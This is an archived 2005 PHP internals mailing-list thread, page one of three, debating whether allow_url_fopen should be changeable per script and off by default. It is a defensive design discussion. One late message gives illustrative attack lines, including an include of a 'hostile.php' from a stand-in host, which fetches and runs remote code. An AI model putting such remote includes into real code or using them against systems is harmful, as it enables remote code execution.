# allow_url_fopen should be INI_ALL - Thread: https://externals.io/message/16903 - Original archive: https://news-web.php.net/php.internals/16903 - Started by Yasuo Ohgaki on 2005-06-25T22:36:50+00:00 - Messages: 51 - Page 1 of 3: messages 1 to 25 (25 per page, add `?page=N` to the URL) - Next page: https://externals.io/message/16903.md?page=2 - Reply by email to internals@lists.php.net - More for agents: search with https://externals.io/search.md?q={query} · JSON API at https://externals.io/api · documentation at https://externals.io/llms.txt --- ## #16903 — Yasuo Ohgaki — 2005-06-25T22:36:50+00:00 URL: https://externals.io/message/16903#16903 As of PHP 4.3.4, allow_url_fopen defaults was changed from `INI_ALL` to INI_SYSTEM. This change should be reverted, because 1) `INI_SYSTEM` disables to patch vulnerable application by adding `ini_set()`. ini_set('allow_url_fopen', 0); // some dangerous include/require statement ini_set('allow_url_fopen', 1); // reenable if allow_url_fopen is required 2) programmers should be able to control if program allowed to access remote files or not and should be able to enable/disable allow_url_fopen _only_ where the feature is needed. allow_url_fopen should not be site wide configuration for security seasons. Preferred solution would be 1) change allow_url_fopen to `INI_ALL` 2) disable allow_url_fopen by default I would like to see these changes in PHP 5.1 and PHP 4.4, since this is security related changes. -- Yasuo Ohgaki --- ## #16904 — Johannes Schlueter — 2005-06-26T08:19:09+00:00 URL: https://externals.io/message/16903#16904 · In reply to: #16903 Hi, > I would like to see these changes in PHP 5.1 and PHP 4.4, since this > is security related changes. Right, it's a security related thing: Only the administrator can decide wether any application should be able to do url_fopens or not. If an application needs it the administrator can check it and enable it by host/directory. johannes --- ## #16905 — Sara Golemon — 2005-06-26T16:02:23+00:00 URL: https://externals.io/message/16903#16905 · In reply to: #16903 > 1) `INI_SYSTEM` disables to patch vulnerable application by adding > `ini_set()`. > ini_set('allow_url_fopen', 0); > // some dangerous include/require statement > ini_set('allow_url_fopen', 1); // reenable if allow_url_fopen is > required > $allowed_wrappers = array('php','file'); foreach(stream_get_wrappers() as $wrapper) if (!in_array($wrapper, $allowed_wrappers)) stream_wrapper_unregister($wrapper); > 2) programmers should be able to control if program allowed to access > remote files or not and should be able to enable/disable allow_url_fopen > _only_ where the feature is needed. > Already got it. > allow_url_fopen should not be site wide configuration for security > seasons. > allow_url_fopen is for site administrators to globally stop users from being stupid. Letting them override it makes as much sense as letting ini_set('safe_mode', false); work. > I would like to see these changes in PHP 5.1 and PHP 4.4, since this > is security related changes. > -1 From me. wrapper_unregister/wrapper_restore lets you do everything you want and then some without reducing the admin's control any. Yes, unregister/restore is PHP5 only. I'd personally be okay with merging this to 4.4 as the bulk of the support for it is already there internally, it's just adding a couple PHP_FUNCTION hooks to make it happen. That's up to the RM and general consensus though. -Sara --- ## #16906 — Derick Rethans — 2005-06-26T16:17:30+00:00 URL: https://externals.io/message/16903#16906 · In reply to: #16905 > Yes, unregister/restore is PHP5 only. I'd personally be okay with merging > this to 4.4 as the bulk of the support for it is already there internally, > it's just adding a couple PHP_FUNCTION hooks to make it happen. That's up > to the RM and general consensus though. 4.3/4.4 is a bugfix only branch, so no new features... Derick -- Derick Rethans http://derickrethans.nl | http://ez.no | http://xdebug.org --- ## #16907 — messju mohr — 2005-06-26T16:41:01+00:00 URL: https://externals.io/message/16903#16907 · In reply to: #16905 [...] > > […] > allow_url_fopen is for site administrators to globally stop users from being > stupid. stop them from being stupid by breaking their applications? now that's stupid! [...] --- ## #16908 — messju mohr — 2005-06-26T17:56:38+00:00 URL: https://externals.io/message/16903#16908 > It's stupid to prevent stupid applications from being made to do stupid > things by stupid people? It's not stupid to prevent them from being made. But that's not what an admin does. When the admin comes into play, the application is already "made" and employed. The admin just prevents it from working as the developer and the qa-team intended. > I dunno. The dynamics of that sentence are stupefying me. > > messju mohr wrote: > > > […] --- ## #16909 — Stefan Esser — 2005-06-26T18:07:13+00:00 URL: https://externals.io/message/16903#16909 · In reply to: #16908 > It's not stupid to prevent them from being made. But that's not what > an admin does. When the admin comes into play, the application is > already "made" and employed. The admin just prevents it from working as the > developer and the qa-team intended. The admin is deciding what is allowed on his system and what not. Any application that cannot deal with different setups is simply broken. Same for register_globals/magic_quotes_gpc. If your application does not behave in the same way with any of these features turned on or off, it is simply broken. Stefan ps: and yes there is a bunch of PHP Applications that rely on register_globals=Off and are totally unsecure with register_globals=On. This says alot about the code quality. -- -------------------------------------------------------------------------- Stefan Esser sesser@php.net Hardened-PHP Project http://www.hardened-php.net/ GPG-Key gpg --keyserver pgp.mit.edu --recv-key 0x15ABDA78 Key fingerprint 7806 58C8 CFA8 CE4A 1C2C 57DD 4AE1 795E 15AB DA78 --- ## #16914 — Yasuo Ohgaki — 2005-06-27T06:18:46+00:00 URL: https://externals.io/message/16903#16914 · In reply to: #16909 I think most of us can agree following statement "allow_url_fopen = ON" is dangerous and the feature is not useful most of the times. Stefan Esser wrote: > > […] > > > The admin is deciding what is allowed on his system and what not. Any > application that cannot deal with different setups is simply broken. > > Same for register_globals/magic_quotes_gpc. If your application does not > behave in the same way with any of these features turned on or off, it > is simply broken. I think you missed my point. - allow_url_fopen is ON by default. - allow_url_fopen is `INI_SYSTEM` directive (i.e. Cannot change this setting from script) Obviously, current setting is not secure than - allow_url_fopen = OFF - allow_url_fopen = `INI_ALL` Later setting is more secure and one can use allow_url_fopen feature when it is needed. -- Yasuo Ohgaki --- ## #16915 — Yasuo Ohgaki — 2005-06-27T06:23:33+00:00 URL: https://externals.io/message/16903#16915 · In reply to: #16906 Derick Rethans wrote: > > > > > […] > > > 4.3/4.4 is a bugfix only branch, so no new features... > > Derick > Looks like I missed some messages, what about the original request? - allow_url_fopen back to INI_ALL. - allow_url_fopen = Off by default. -- Yasuo Ohgaki --- ## #16917 — Jani Taskinen — 2005-06-27T06:47:22+00:00 URL: https://externals.io/message/16903#16917 · In reply to: #16915 > Derick Rethans wrote: > > […] > > Looks like I missed some messages, what about the original request? > > - allow_url_fopen back to INI_ALL. That would be same as keeping it the way it is, ie. on-by-default. Allowing anybody simply change it in their script is not acceptable. > - allow_url_fopen = Off by default. That's very good idea. But only if it's kept INI_SYSTEM. --Jani --- ## #16920 — Derick Rethans — 2005-06-27T07:11:11+00:00 URL: https://externals.io/message/16903#16920 · In reply to: #16914 > I think most of us can agree following statement > > "allow_url_fopen = ON" is dangerous and the feature is not > useful most of the times. I disagree. With proper filtering, or using non-user-supplied information there is no problem. Derick -- Derick Rethans http://derickrethans.nl | http://ez.no | http://xdebug.org --- ## #16922 — Yasuo Ohgaki — 2005-06-27T07:19:56+00:00 URL: https://externals.io/message/16903#16922 · In reply to: #16920 Derick Rethans wrote: > > > > > […] > > > I disagree. With proper filtering, or using non-user-supplied > information there is no problem. I don't have objection to your statement. It could be used safely, but there are many applications that had serious problems even if applications did not require allow_url_fopen to be enabled. I understands one have different opinion to another, so the most acceptable configution for most would be make allow_url_fopen - OFF by default - `INI_ALL` -- Yasuo Ohgaki --- ## #16923 — Stefan Esser — 2005-06-27T07:24:13+00:00 URL: https://externals.io/message/16903#16923 · In reply to: #16914 > I think most of us can agree following statement > > "allow_url_fopen = ON" is dangerous and the feature is not > useful most of the times. No, allow_url_fopen = ON is not dangerous and it is a very useful feature when you want to `fopen()` a remote URL. What you may consider dangerous is that URLs work with include/require. I was always against such nonsense, because it is actually always bad to require a remote file. No matter if its over the internet or in a vpn/intranet. From my point of view it would have been better to have another ini directive like allow_url_includes that defaults to off. However under no circumstances allow_url_fopen can be turned back to INI_ALL. An admin has to decide if he allows any kind of access to remote files and this is his only way to achieve disabling remote file wrappers. Without a new ini directive I only see the possibility to build an emulation layer: Sys: allow_url_fopen = Off -> User: ini_set("allow_url_fopen",1) fails Sys: allow_url_fopen = On -> User: ini_set("allow_url_fopen",0/1) works Stefan -- -------------------------------------------------------------------------- Stefan Esser sesser@php.net Hardened-PHP Project http://www.hardened-php.net/ GPG-Key gpg --keyserver pgp.mit.edu --recv-key 0x15ABDA78 Key fingerprint 7806 58C8 CFA8 CE4A 1C2C 57DD 4AE1 795E 15AB DA78 --- ## #16925 — Derick Rethans — 2005-06-27T07:29:06+00:00 URL: https://externals.io/message/16903#16925 · In reply to: #16923 > From my point of view it would have been better to have another ini directive > like allow_url_includes that defaults to off. However under no circumstances > allow_url_fopen can be turned back to INI_ALL. An admin has to decide if he > allows any kind of access to remote files and this is his only way to achieve > disabling remote file wrappers. > > Without a new ini directive I only see the possibility to build an emulation > layer: > > Sys: allow_url_fopen = Off -> User: ini_set("allow_url_fopen",1) fails > Sys: allow_url_fopen = On -> User: ini_set("allow_url_fopen",0/1) works You can use in httpd.conf: php_admin_value allow_url_fopen 0 which users can not override already... so I don't see the point of implementing the behavior that you have (otherwise it's a good idea). What we should perhaps do is revert the change that made allow_url_fopen back to INI_ALL... regards, Derick -- Derick Rethans http://derickrethans.nl | http://ez.no | http://xdebug.org --- ## #16927 — Derick Rethans — 2005-06-27T07:30:30+00:00 URL: https://externals.io/message/16903#16927 · In reply to: #16922 > > […] > > I don't have objection to your statement. > It could be used safely, but there are many applications that > had serious problems even if applications did not require > allow_url_fopen to be enabled. I don't see what this has to do with each other... > I understands one have different opinion to another, so > the most acceptable configution for most would be make > allow_url_fopen > > - OFF by default > - `INI_ALL` I've no problems with that, this would be fine for PHP 4.4 regards, Derick -- Derick Rethans http://derickrethans.nl | http://ez.no | http://xdebug.org --- ## #16928 — Rasmus Lerdorf — 2005-06-27T07:32:05+00:00 URL: https://externals.io/message/16903#16928 · In reply to: #16925 Derick Rethans wrote: > > > > > […] > > > You can use in httpd.conf: > php_admin_value allow_url_fopen 0 > > which users can not override already... so I don't see the point of > implementing the behavior that you have (otherwise it's a good idea). > > What we should perhaps do is revert the change that made allow_url_fopen > back to INI_ALL... Yikes, when did that happen? I have been out of Internet reach in the wilds of Finland for a few days, so I missed a bunch of stuff, but making allow_url_fopen an `INI_ALL` option seems like a fantastically bad idea. Admins should be able to control such settings. -Rasmus --- ## #16931 — Derick Rethans — 2005-06-27T07:36:49+00:00 URL: https://externals.io/message/16903#16931 · In reply to: #16928 > Yikes, when did that happen? I have been out of Internet reach in the > wilds of Finland for a few days, so I missed a bunch of stuff, but > making allow_url_fopen an `INI_ALL` option seems like a fantastically bad > idea. Admins should be able to control such settings. It has been `INI_ALL` for a looong time until somebody decided to set it to INI_SYSTEM. Derick -- Derick Rethans http://derickrethans.nl | http://ez.no | http://xdebug.org --- ## #16934 — Ilia Alshanetsky — 2005-06-27T14:24:53+00:00 URL: https://externals.io/message/16903#16934 · In reply to: #16914 IMO disable allow_url_fopen by default is a bad idea as it would break multitudes of applications that rely on being open URLs via various PHP functions like `getimagesize()`, `simplexml_load_file()`, etc... I think Stefan's idea of allowing the setting to be disabled by the script, but not enabled by it is the best. This way script writers who know which parts of the app/library do not need the functionality can explicitly disable it there. Ilia --- ## #16935 — Derick Rethans — 2005-06-27T14:31:10+00:00 URL: https://externals.io/message/16903#16935 · In reply to: #16934 > IMO disable allow_url_fopen by default is a bad idea as it would break > multitudes of applications that rely on being open URLs via various PHP > functions like `getimagesize()`, `simplexml_load_file()`, etc... > > I think Stefan's idea of allowing the setting to be disabled by the script, > but not enabled by it is the best. This way script writers who know which > parts of the app/library do not need the functionality can explicitly disable > it there. +1 here. Derick -- Derick Rethans http://derickrethans.nl | http://ez.no | http://xdebug.org --- ## #16936 — Stefan Esser — 2005-06-27T14:32:05+00:00 URL: https://externals.io/message/16903#16936 · In reply to: #16934 Hi Ilia, > I think Stefan's idea of allowing the setting to be disabled by the > script, but not enabled by it is the best. This way script writers who > know which parts of the app/library do not need the functionality can > explicitly disable it there. My idea was a little bit different. I would like to allow disabling and enabling. Of course enabling only if the vhost setting says that it was enabled in the first place. This would more or less restore the `INI_ALL` character with the exception, that the admin can forbid this by disallowing allow_url_fopen in the first place. Stefan --- ## #16937 — Ilia Alshanetsky — 2005-06-27T14:34:29+00:00 URL: https://externals.io/message/16903#16937 · In reply to: #16936 Stefan Esser wrote: > My idea was a little bit different. I would like to allow disabling and > enabling. Of course enabling only if the vhost setting says that it was > enabled in the first place. Would that not already be possible by calling `ini_restore()` ? Ilia --- ## #16938 — Derick Rethans — 2005-06-27T14:37:28+00:00 URL: https://externals.io/message/16903#16938 · In reply to: #16936 > > […] > > My idea was a little bit different. I would like to allow disabling and > enabling. Of course enabling only if the vhost setting says that it was > enabled in the first place. > > This would more or less restore the `INI_ALL` character with the exception, that > the admin can forbid this by disallowing allow_url_fopen in the first place. Right, that's what I thought Ilia said ;-) Derick --- ## #16939 — Stefan Esser — 2005-06-27T14:43:00+00:00 URL: https://externals.io/message/16903#16939 · In reply to: #16937 > Would that not already be possible by calling `ini_restore()` ? Well yes... I just mean the thing was `INI_ALL` not sooo long ago. Maybe some script have something like this: ini_set("allow_url_fopen", 0); ... do include stuff .. ini_set("allow_url_fopen", 1); such functionality was broken after 4.3.4 and would be kinda restored with such a patch. Stefan --- ## #16944 — Sara Golemon — 2005-06-27T16:59:53+00:00 URL: https://externals.io/message/16903#16944 · In reply to: #16903 > It has been `INI_ALL` for a looong time until somebody decided to set it > to INI_SYSTEM. > Actually it was "--enable-url-fopen" for a loooooong time until it became runtime configurable. It was *mistakenly* set to PHP_INI_ALL, but was supposed to have been PHP_INI_SYSTEM. (In line with prior behavior) As I posted earlier, url_fopens *can* already been temporarily disabled and reenabled using `stream_wrapper_unregister()` and `stream_wrapper_restore()`. There's no need to make the .ini setting magic by making it disablable one-way. However, as Derick pointed out php_admin_flag can be used to override the changability and keep it a system-wide setting on a site specific basis, so while there's absolutely no reason to make it PHP_INI_ALL, I can possibly buy into it providing the change happens in HEAD and nowhere else. There's no reason to break this setting in a stable branch, especially one as old as 4.3/4. -Sara P.S. - This was discussed at the time the change was reverted back to PHP_INI_SYSTEM. --- ## #16952 — Russell Nelson — 2005-06-28T04:06:05+00:00 URL: https://externals.io/message/16903#16952 · In reply to: #16903 Yasuo Ohgaki writes: > 1) change allow_url_fopen to `INI_ALL` > 2) disable allow_url_fopen by default > > I would like to see these changes in PHP 5.1 and PHP 4.4, since this > is security related changes. What problem are you trying to solve? Attacks against the very common misuse of: include "http://example.com/hostile.php" ? Or attacks against a graphics library: getimagesize("http://example.com/hostile.jpg") or XML parser: simplexml_load_file("http://example.com/hostile.xml") Derick Rethans writes: > I disagree. With proper filtering, or using non-user-supplied > information there is no problem. The problem is that naive programmers think there is no problem withOUT proper filtering. The sharp edges of 'include' are not visible enough. I'll bet you that people would not use 'include' and 'includeremotehostilecode' in the identical manner. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. --- Next page: https://externals.io/message/16903.md?page=2